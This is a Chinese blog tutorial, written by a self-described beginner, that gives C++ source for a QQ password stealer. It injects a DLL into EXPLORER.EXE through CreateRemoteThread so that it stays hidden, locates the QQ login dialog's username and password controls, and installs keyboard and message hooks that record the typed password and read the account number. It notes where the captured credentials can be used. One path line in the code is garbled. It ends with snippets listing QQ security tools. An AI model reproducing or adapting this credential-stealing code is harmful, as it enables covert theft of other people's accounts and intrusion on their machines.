经常有听到有朋友QQ被盗的消息,总感觉做出这种行为的人是可鄙的,不就是对QQ窗口进行监视,然后再是记录用户输入的号码和密码,认为没什么了不起。
对于Windows核心编程,本人还是一只菜鸟,前一段时间把《Windows系统编程》粗略的看一边(当然重点地方仔细的看),由于对于C++有 点基础,感觉学起来比较容易上手。但到了这两天真正实践的时候,遇到了各种各样的问题。即使一个小小的问题都足以让我这只菜鸟郁闷老半天。直到此时,在完 成这个软件的时候,整理一下思路,不但算是给自己个总结,也跟像我一样的菜鸟们分享一下自己的经验。
想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。
先讲一下思路:需要三个进程A,B,C;两个DLL。
初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。
进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。
进程C为目标进程在这里也就是QQ.EXE。
第一个DLL(InspectQQLandDlg.dll),远程线程的载体。
第二个DLL(MyHook.dll),全局钩子函数的载体。
现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。
这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。
1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单
HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
if ( hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
string lpName = "EXPLORER.EXE" ; //设定需要监视的进程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 );
for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk; fOk =
Process32Next( hSnapshot, &pe ) )
{
if ( pe.szExeFile == lpName )
{
//取得宿主进程(EXPLORER.EXE)的句柄
HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
false, pe.th32ProcessID ) ;
//取得目标DLL的当前路径(路径可自由设置)
char szInspectDllPath[128] ;
GetCurrentDirectory ( 128, szInspectDllPath ) ;
strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ) ;
//申请存放文件名的空间
LPVOID pszInspectDllRemote ;
int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;
//把dll文件名写入申请的空间
WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);
//获取动态链接库函数地址
HMODULE hModule ;
hModule = GetModuleHandle ( "kernel32.DLL" ) ;
LPTHREAD_START_ROUTINE fnStartAddr ;
fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
"LoadLibraryA" ) ;
//创建远程线程
HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
fnStartAddr, pszInspectDllRemote, 0, NULL ) ;
if( hSnapshot != NULL )
CloseHandle ( hSnapshot ) ;//关闭进程快照
CloseHandle ( hRemoteProcess ) ;
break ;
}
}
2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的 DllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般来说不因在DllMain中执行过多的功能(借鉴 前人的经验,嘿嘿),于是很容易想到开辟一个新线程。
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
//下面这句会给你创建远程线程成功的提示。
MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;
HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;
break;
}
}
在新线程中要达到的目标只是一个循环,利用while()和循环标志(BOOL)isContinue即可以实现。
在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。
关于这点网上有很多资料,利用的是FindWindow和FindWindowEx,这是针对以前的版本。在这里已经无效了,现在QQ在这里下了点工夫,采用的是窗口标题采用随机字符。
就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样,傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有,哎~~
其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。
BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
{
return false ;
}
char szWindowName[128] ;
ZeroMemory ( szWindowName, 128 ) ;
GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名
if ( !strcmp ( szWindowClassName, "#32770" ) )
{
__asm int 3
}
return true ;
}
利用上面的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindowName,很容易发现这个窗口名字符串是由不超过二十个字符 组成(多次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“ ”,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,效果可是无法忍受的,呵呵)
事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。
#define UserNameComboBoxId 0x0000008A //用户名控件ID
#define PasswordEditId 0x000000B4 //密码控件ID
#define ButtonId 0x00003EA0 //登陆按扭控件ID
#define QQLandDlgMiniStyle 0x94CA00C4 //登陆对话框最小化时的风格
#define QQLandDlgShowStyle 0XB4CA00C4 //登陆对话框在桌面显示时的风格
BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;
long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
{
hQQLand = hwnd ;
EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;
return false ;
}
return true ;
}
BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;
//取得指定句柄的控件ID
long id= GetWindowLong ( hwnd, GWL_ID ) ;
if (id == UserNameComboBoxId )
{
hUserName = hwnd ;
}
else if ( id == PasswordEditId )
{
hPassword = hwnd ;
}
else if ( id == ButtonId )
{
hLandButton = hwnd ;
}
return true ;
}
到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~
在这里其实可以用
SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );
取得UserName(QQ号码),但不能取得密码。
可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。
现在远程线程的第二个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对用户键盘输入的监视。
只需调用MyHook.dll的接口函数即可
SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;
3。MyHook.dll模块。
EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
{
if ( isInstall )
{
hQQLandDlg = hQQLand ;
hUserNameEdit = hUserName ;
hPasswordComboBox = hPassword ;
hButton = hLandButton ;
DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
hHookDll = GetModuleHandle ( "MyHook" ) ;
hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
(HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;
hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
(HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;
if ( hKeyboard != NULL && hWndProc != NULL )
return true ;
}
else
{
UnhookWindowsHookEx ( hKeyboard ) ;
UnhookWindowsHookEx ( hWndProc ) ;
hHookDll = NULL ;
hKeyboard = NULL ;
hWndProc = NULL ;
ZeroMemory ( szPassword, 128 ) ;
pszPasswordLen = 0 ;
}
return false ;
}
这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。
如果对钩子函数不清楚的朋友,看一下MSDN或者WIN32函数集就可以了。
这里对QQ登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。
LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
//检测回车键是否被按下
if ( wParam == VK_RETURN && lParam > 0 )
{
//由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );
//此处可以自由处理拦截到的号码和密码(szUserName,szPassword)
//不要忘了变量还原(szUserName,szPassword)
}
if ( lParam > 0 && wParam != VK_RETURN )
{
char KeyName[10] ;
ZeroMemory ( KeyName, 10 ) ;
GetKeyNameText ( lParam, KeyName, 10 ) ;
if ( strlen ( KeyName ) == 1 )
{
strcat ( szPassword, KeyName ) ;
}
}
return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}
也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现
LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
if ( p->message == WM_COMMAND && p->hwnd == hButton )
{//同理
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );
//这里可添加如何处理密码的语句
}
return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
}
上面给出的几段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(比如用户按退格键或是其他),这些只要考虑仔细就可以了没有什么难度,这里就不说了。
相关推荐
首先,我们来看"QQ防盗专家1.2"这个名字,可以推测该软件的核心功能可能包括密码保护、登录验证、异常行为检测等。在源码中,我们可以预期会发现对QQ登录过程的监控和分析代码,以及针对潜在威胁的安全策略。这通常...
其次,QQ防盗功能是该登录器的核心特性。在网络安全日益重要的今天,QQ防盗功能旨在保护用户的账号安全,防止被恶意软件或黑客窃取。这款工具通过特定的输入方式,如使用小键盘输入账号和密码,可以降低屏幕抓取等...
2. **安全验证**:登录器会通过多种方式验证用户身份,例如验证码、手机短信验证、安全问题等,增加盗号者的破解难度。 3. **异常行为检测**:登录器会监控登录行为,比如来自陌生地点、异常时间的登录尝试,一旦...
这个项目的核心知识点包括: 1. **VB界面设计**:VB提供了Visual Studio集成开发环境(IDE),用户可以通过拖放控件来创建用户界面。在这个项目中,开发者会使用Label(标签)显示“账号”和“密码”的提示,...
"QQ防盗登录器"是项目的核心功能,旨在检测和防止非授权的QQ登录尝试。"美化版"表明开发者不仅注重功能性,还考虑到了软件的视觉吸引力。"VB源代码"意味着所有程序逻辑和界面设计都是用VB编写的,这对于初学者和有...
在Java编程中,这样的项目能够充分展示面向对象编程、多线程处理、网络通信以及数据存储等多个核心概念。下面将详细探讨这些知识点。 1. **面向对象编程**:Java是一种典型的面向对象语言,它通过类和对象来组织...
首先,**网络编程**是整个QQ软件的核心部分。在Java中,这通常涉及到Socket编程,通过TCP/IP协议实现客户端与服务器之间的稳定通信。源代码中可能会包含如何建立连接、发送和接收数据、处理断线重连机制等技术细节。...
【标签】"源代码"标签表明了这个压缩包的核心内容,即原始的编程代码,而非编译后的可执行文件。源代码允许程序员深入理解软件的工作原理,进行修改、调试或扩展,对学习编程技巧和软件开发流程有极大的帮助。 ...
《易语言QQ防盗专家1.2》是一款基于易语言编程的软件,主要针对QQ账号的安全防护,旨在为用户提供有效的QQ防盗保护。易语言是中国本土开发的一款...通过这款软件,用户可以更好地保护自己的QQ账号,避免遭受盗号风险。
【ASP盗Q源码】是一种不道德且非法的编程实践,涉及到网络安全和个人隐私的侵犯。在互联网技术中,"ASP"通常指的是Active Server Pages,它是由微软开发的一种服务器端脚本环境,用于创建动态交互式网页。源码是程序...
5. **找回与申诉服务**:当用户丢失账号或遭遇盗号时,提供相应的找回和申诉流程。 其次,源码分析可以帮助开发者学习到以下技能: 1. **移动应用开发**:QQ安全中心作为一个移动端应用,其源码可以展示Android或...
本文以“QQ代码集成”为核心议题,从技术角度探讨如何合法合规地进行QQ相关的应用开发,同时对于描述中提及的“盗号源代码”予以批判。 首先,代码集成是IT行业中常见的概念,通常是指将不同功能模块的代码合并到一...
在PHP的环境下,它能够帮助用户检测并预防QQ账号可能面临的各种安全威胁,例如诈骗、盗号等。以下是关于PHP以及基于PHP开发的QQ网警源码的一些关键知识点: 1. PHP语言基础:PHP是一种开源的服务器端脚本语言,常...
以上是VB兔子QQ防盗登录器美化版中可能涉及的一些核心技术和概念,这些知识点在实际的VB编程中具有广泛的应用。通过学习和理解这些内容,开发者不仅可以制作出实用的防盗登录器,还能提升在VB环境下的软件开发能力。
首先,易语言以其简洁的语法和易学易用的特点,为编程初学者和软件开发者提供了便利。使用易语言编写的“QQ密保防盗器”,是专门针对QQ账号安全问题而设计的实用工具。它通过分析GIF图片来自动完成密保验证,以此...
"QQ各种盗号软件(无毒).url"和"简易盗号软件制作"的内容显然是不合法的,任何涉及盗取他人账号的行为都是违法的,并且不符合道德规范。在编程过程中,开发者应坚决抵制此类行为,确保自己的技术用于正当目的。 总...
5. **安全检测**:检查QQ账号的安全性,防止被盗号。 6. **辅助工具**:如快捷登录、二维码生成、表情包下载等。 值得注意的是,由于源码仅供学习参考,开发者应遵循版权规定,不得将其用于非法或商业目的。这意味...
6. QQ各种盗号软件(无毒).url:这个URL的描述存在误导性,即使软件声称无毒,但任何涉及盗取他人账号的行为都是不道德且违法的,应避免使用。 7. 8909扫描【SYN】:这可能是8909扫描器的执行程序或相关文档,提供...
值得注意的是,易语言教程中的某些示例和案例可能涉及网络应用开发,比如“QQ刷钻软件盗QQ号.rar”和“QQ刷钻机”这两个压缩包内容。从文件名推测,它们是用于自动化某些与QQ增值服务相关的任务,例如充值、获取特权...